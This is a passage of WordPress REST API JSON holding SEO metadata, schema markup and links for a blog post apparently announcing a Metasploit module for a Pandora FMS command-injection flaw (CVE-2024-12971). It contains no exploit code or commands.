redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=15134","og_locale":"en_US","og_type":"article","og_title":"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-29T19:21:54&#8243;,&#8221;description&#8221;:&#8221;Pandora FMS is a monitoring solution that provides full observability for your organizationu0026#x27;s technology. This module&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-29T18:53:34&#8243;,&#8221;modified&#8221;:&#8221;2025-04-08T18:54:14&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;Pandora FMS authenticated command injection leading to RCE via chromium_path...","og_url":"https:\/\/zero.redgem.net\/?p=15134","og_site_name":"zero redgem","article_published_time":"2025-08-29T15:38:15+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=15134#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=15134"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971-","datePublished":"2025-08-29T15:38:15+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=15134"},"wordCount":2517,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-8.6","exploit","HIGH","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=15134#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=15134","url":"https:\/\/zero.redgem.net\/?p=15134","name":"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-29T15:38:15+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=15134#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=15134"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=15134#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"Pandora FMS authenticated command injection leading to RCE via chromium_path or phantomjs_bin_MSF:EXPLOIT-LINUX-HTTP-PANDORA_FMS_AUTH_RCE_CVE_2024_12971-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15134","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=15134"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/15134\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=15134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=15134"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=15134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}